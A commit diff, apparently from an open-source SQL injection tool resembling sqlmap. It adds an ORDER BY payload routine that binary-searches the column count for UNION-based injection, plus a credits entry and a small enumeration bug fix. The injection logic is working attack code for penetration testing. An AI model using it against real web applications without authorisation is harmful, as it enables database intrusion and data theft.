Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 9423d15

Browse files
committed
ORDER BY technique used for finding proper UNION col count (dramatical improvement of speed and capabilities) and one minor bug fix
1 parent 07afcd5 commit 9423d15

5 files changed

Lines changed: 54 additions & 4 deletions

File tree

doc/THANKS

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -532,6 +532,9 @@ Anthony Zboralski <[email protected]>
532532
Thierry Zoller <[email protected]>
533533
for reporting a couple of major bugs
534534

535+
Zhen Zhou <[email protected]>
536+
for suggesting a feature
537+
535538
536539
for reporting a minor bug
537540

lib/core/option.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1424,6 +1424,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
14241424
kb.nullConnection = None
14251425
kb.pageTemplate = None
14261426
kb.pageTemplates = dict()
1427+
kb.orderByColumns = None
14271428
kb.originalPage = None
14281429

14291430
# Back-end DBMS underlying operating system fingerprint via banner (-b)

lib/core/settings.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -388,3 +388,6 @@
388388

389389
# Only console display last n table rows
390390
TRIM_STDOUT_DUMP_SIZE = 1024
391+
392+
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
393+
ORDER_BY_STEP = 10

lib/techniques/union/test.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,10 @@
2121
from lib.core.common import listToStrValue
2222
from lib.core.common import popValue
2323
from lib.core.common import pushValue
24+
from lib.core.common import randomInt
2425
from lib.core.common import randomStr
2526
from lib.core.common import removeReflectiveValues
27+
from lib.core.common import singleTimeLogMessage
2628
from lib.core.common import singleTimeWarnMessage
2729
from lib.core.common import stdev
2830
from lib.core.common import wasLastRequestDBMSError
@@ -39,6 +41,7 @@
3941
from lib.core.settings import MAX_RATIO
4042
from lib.core.settings import MIN_STATISTICAL_RANGE
4143
from lib.core.settings import MIN_UNION_RESPONSES
44+
from lib.core.settings import ORDER_BY_STEP
4245
from lib.core.unescaper import unescaper
4346
from lib.parse.html import htmlParser
4447
from lib.request.comparison import comparison
@@ -50,11 +53,53 @@ def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where
5053
"""
5154
retVal = None
5255

56+
def __orderByTechnique():
57+
def __orderByTest(cols):
58+
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
59+
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
60+
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
61+
page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
62+
return not re.search(r"((warning|error)[^\n]*order)|(order by)", page or "", re.I)
63+
64+
if __orderByTest(1) and not __orderByTest(randomInt()):
65+
infoMsg = "ORDER BY technique seems to be usable. "
66+
infoMsg += "this should dramatically reduce the "
67+
infoMsg += "time needed to find the right number "
68+
infoMsg += "of query columns. Automatically extending the "
69+
infoMsg += "range for UNION query injection technique"
70+
singleTimeLogMessage(infoMsg)
71+
72+
lowCols, highCols = 1, ORDER_BY_STEP
73+
found = None
74+
while not found:
75+
if __orderByTest(highCols):
76+
lowCols = highCols
77+
highCols += ORDER_BY_STEP
78+
else:
79+
while not found:
80+
mid = highCols - (highCols - lowCols) / 2
81+
if __orderByTest(mid):
82+
lowCols = mid
83+
else:
84+
highCols = mid
85+
if (highCols - lowCols) < 2:
86+
found = lowCols
87+
88+
return found
89+
5390
pushValue(kb.errorIsNone)
5491
items, ratios = [], []
5592
kb.errorIsNone = False
5693
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
5794

95+
if lowerCount == 1:
96+
found = kb.orderByColumns or __orderByTechnique()
97+
if found:
98+
kb.orderByColumns = found
99+
infoMsg = "target url appears to have %d columns in query" % found
100+
singleTimeLogMessage(infoMsg)
101+
return found
102+
58103
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
59104
upperCount = lowerCount + MIN_UNION_RESPONSES
60105

plugins/generic/enumeration.py

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2031,10 +2031,8 @@ def searchTable(self):
20312031
query += exclDbsQuery
20322032
values = inject.getValue(query, blind=False)
20332033

2034-
if not isNoneValue(values):
2035-
if isinstance(values, basestring):
2036-
values = [ values ]
2037-
2034+
if not any([isNoneValue(values), isinstance(values, basestring)]):
2035+
values = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values)
20382036
for foundDb, foundTbl in values:
20392037
foundDb = safeSQLIdentificatorNaming(foundDb)
20402038
foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

0 commit comments

Comments
 (0)